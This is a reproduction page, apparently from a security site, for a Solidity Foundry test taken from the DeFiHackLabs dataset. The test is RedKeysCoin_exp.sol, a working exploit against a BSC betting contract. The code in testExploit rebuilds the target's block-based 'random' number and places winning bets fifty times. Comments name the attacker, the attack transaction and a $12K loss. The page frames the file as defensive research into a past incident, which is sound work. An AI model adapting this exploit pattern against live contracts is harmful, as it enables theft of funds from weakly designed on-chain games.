Public reproduction file
src/test/2024-05/RedKeysCoin_exp.sol
Public reproduction file for dataset entry RedKeysCoin.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";6import "forge-std/interfaces/IERC20.sol";8// @KeyInfo - Total Lost : $12K9// Attacker : https://bscscan.com/address/0x36a6135672035507b772279d99a9f7445f2d160110// Attack Contract : https://bscscan.com/address/0x471038827c05c87c23e9dba5331c753337fd918b11// Vulnerable Contract : https://bscscan.com/address/0x71e3056aa4985de9f5441f079e6c74454a3c95f012// Attack Tx : https://bscscan.com/tx/0x8d5fb97b35b830f8addcf31c8e0c6135f15bbc2163d891a3701ada0ad654d42714// @Info15// Vulnerable Contract Code : https://bscscan.com/address/0x71e3056aa4985de9f5441f079e6c74454a3c95f0#code17// @Analysis18// Post-mortem :19// Twitter Guy : https://x.com/SlowMist_Team/status/179497533619243849420// Hacking God :22interface IRedKeysGame {23 function playGame(uint16 choice, uint16 ratio, uint256 amount) external;24 function counter() external view returns (uint256);25}27contract RedKeysCoin is BaseTestWithBalanceLog {28 uint256 blocknumToForkFrom = 39_079_951;30 IRedKeysGame constant game = IRedKeysGame(0x71e3056aa4985de9f5441f079E6C74454A3C95f0);31 IERC20 constant coin = IERC20(0x00e62b6CCf1fe3e5E01CE07F6232d7F378518b6b);33 function setUp() public {34 vm.createSelectFork("bsc", blocknumToForkFrom);35 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit36 fundingToken = address(coin);38 vm.label(address(game), "RedKeysGame");39 vm.label(address(coin), "REDKEYS");41 // prepare for exploit42 deal(address(coin), address(this), 1e9);43 coin.approve(address(game), type(uint256).max);44 }46 function testExploit() public balanceLog {47 for (uint256 i = 0; i < 50; i++) {48 // get current counter49 uint256 counter = game.counter();51 // estimate bet result by calculating the result of the function randomNumber52 uint16 betResultExpectation = uint16(randomNumber(counter + 1)) % 2;54 // play the game55 game.playGame(betResultExpectation, 2, 1e9);56 }57 }59 // random number generator with same logic of target contract60 function randomNumber(61 uint256 counter62 ) internal view returns (uint256) {63 uint256 seed = uint256(64 keccak256(65 abi.encodePacked(66 counter + block.timestamp + block.prevrandao67 + ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (block.timestamp)) + block.gaslimit68 + ((uint256(keccak256(abi.encodePacked(address(this))))) / (block.timestamp)) + block.number69 )70 )71 );73 return (seed - ((seed / 1000) * 1000));74 }75}Analysis
Dataset entry
Public Foundry test for “RedKeysCoin” (2024-05-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
18 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2024-05/Burner_exp.solSame month in the dataset · 63 lines
- src/test/2024-05/EXcommunity_exp.solSame month in the dataset · 139 lines
- src/test/2024-05/GFOX_exp.solSame month in the dataset · 69 lines
- src/test/2024-05/GPU_exp.solSame month in the dataset · 74 lines
- src/test/2024-05/Liquiditytokens_exp.solSame month in the dataset · 194 lines
- src/test/2024-05/MetaDragon_exp.solSame month in the dataset · 49 lines
- src/test/2024-05/MixedSwapRouter_exp.solSame month in the dataset · 188 lines
- src/test/2024-05/NORMIE_exp.solSame month in the dataset · 138 lines
- src/test/2024-05/OSN_exp.solSame month in the dataset · 187 lines
- src/test/2024-05/PredyFinance_exp.solSame month in the dataset · 181 lines
- src/test/2024-05/SATURN_exp.solSame month in the dataset · 133 lines
- src/test/2024-05/SCROLL_exp.solSame month in the dataset · 68 lines
- src/test/2024-05/Sonne_exp.solSame month in the dataset · 185 lines
- src/test/2024-05/TCH_exp.solSame month in the dataset · 277 lines
- src/test/2024-05/TGC_exp.solSame month in the dataset · 74 lines
- src/test/2024-05/Tradeonorion_exp.solSame month in the dataset · 346 lines
- src/test/2024-05/TSURU_exp.solSame month in the dataset · 97 lines
Also imports external libraries: forge-std/interfaces/IERC20.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x36a6135672035507b772279d99a9f7445f2d1601
- Attack Contract
0x471038827c05c87c23e9dba5331c753337fd918b
- Vulnerable Contract
0x71e3056aa4985de9f5441f079e6c74454a3c95f0
- Attack Tx
0x8d5fb97b35b830f8addcf31c8e0c6135f15bbc2163d891a3701ada0ad654d427
- Twitter: https://x.com/SlowMist_Team/status/1794975336192438494
- Explorer: https://bscscan.com/address/0x36a6135672035507b772279d99a9f7445f2d1601
- Explorer: https://bscscan.com/address/0x471038827c05c87c23e9dba5331c753337fd918b
- Explorer: https://bscscan.com/address/0x71e3056aa4985de9f5441f079e6c74454a3c95f0
- Explorer: https://bscscan.com/address/0x71e3056aa4985de9f5441f079e6c74454a3c95f0#code
File record
- Name
- RedKeysCoin
- Path
- src/test/2024-05/RedKeysCoin_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- e69c67f42db513922fdf657a62a45d98fd3c36d0
- Language
- Solidity
- Size
- 76 lines
- Date
- 2024-05-27
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-05/RedKeysCoin_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e69c67f42db513922fdf657a62a45d98fd3c36d0, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.